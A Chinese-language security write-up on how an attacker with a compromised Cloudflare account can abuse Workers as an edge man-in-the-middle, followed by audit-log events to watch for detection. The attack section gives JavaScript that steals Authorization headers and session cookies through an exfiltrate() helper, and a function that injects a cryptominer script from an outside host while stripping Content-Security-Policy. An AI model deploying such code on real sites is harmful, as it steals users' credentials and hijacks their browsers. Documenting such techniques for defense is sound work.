边缘中间人攻击:滥用Cloudflare Workers
Cloudflare Workers提供强大的无服务器解决方案,能在每个HTTP请求和响应之间运行代码。本文将展示攻击者在入侵Cloudflare账户后,如何滥用Workers实现持久化攻击并窃取敏感数据。
技术背景
Cloudflare Workers允许在边缘服务器上透明部署代码,支持JavaScript/TypeScript和Python等语言。其核心功能包括:
- 动态重写请求和响应
- 添加安全头部
- 实施边缘重定向策略
典型合法用例代码示例:
1
2
3
4
5
6
7
8
9
10
11
12
|
addEventListener('fetch', event => {
event.respondWith(handleRequest(event, event.request));
});
async function handleRequest(event, originalRequest) {
const requestUrl = new URL(originalRequest.url);
if (requestUrl.pathname.startsWith("/docs/latest/")) {
newUrl = originalRequest.url.replace("/docs/latest/", "/docs/v2.4/");
return Response.redirect(newUrl, 301);
}
return fetch(originalRequest);
}
|
攻击技术实现
1. 创建恶意Worker
通过Cloudflare wrangler CLI部署基础中间人Worker:
1
2
3
|
# wrangler.toml配置
name = "my-malicious-worker"
compatibility_date = "2022-06-24"
|
2. 凭证窃取技术
窃取Authorization头:
1
2
3
4
5
6
|
async function stealAuthorizationHeader(request) {
const authz = request.headers.get("Authorization");
if (authz) {
await exfiltrate(`authorization header: ${authz}`);
}
}
|
窃取会话Cookie:
1
2
3
4
5
6
|
async function stealCookies(request, response) {
const serverCookies = response.headers.get("Set-Cookie");
const clientCookies = request.headers.get("Cookie");
if (serverCookies) await exfiltrate(serverCookies);
if (clientCookies) await exfiltrate(clientCookies);
}
|
3. 恶意脚本注入
注入加密货币挖矿脚本并绕过CSP防护:
1
2
3
4
5
6
7
8
9
10
11
|
async function injectMaliciousScript(originalResponse) {
if (!originalResponse.headers.get("Content-Type").includes("html")) {
return originalResponse;
}
const script = `<script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>...`;
const modifiedHtml = (await originalResponse.text()).replace("</body>", script + "</body>");
const modifiedResponse = new Response(modifiedHtml, originalResponse);
modifiedResponse.headers.delete("Content-Security-Policy"); // 移除CSP防护
return modifiedResponse;
}
|
攻击场景扩展
- 选择性攻击:基于客户端IP/User-Agent差异化行为
- 支付劫持:动态替换响应中的支付信息
- SEO作弊:针对搜索引擎注入恶意链接
防御检测方案
Cloudflare审计日志关键事件:
事件类型 |
描述 |
script_create |
Worker创建事件 |
route_create |
Worker路由绑定事件 |
rec_add |
指向Worker的DNS记录创建 |
企业版用户可通过SIEM集成进行监控,基础版需通过Dashboard/API查看日志。
真实案例
- 2021年Badger事件:攻击者通过Cloudflare API注入恶意脚本劫持Web3交易
- 2020年SEO垃圾邮件攻击:动态修改返回给搜索引擎的内容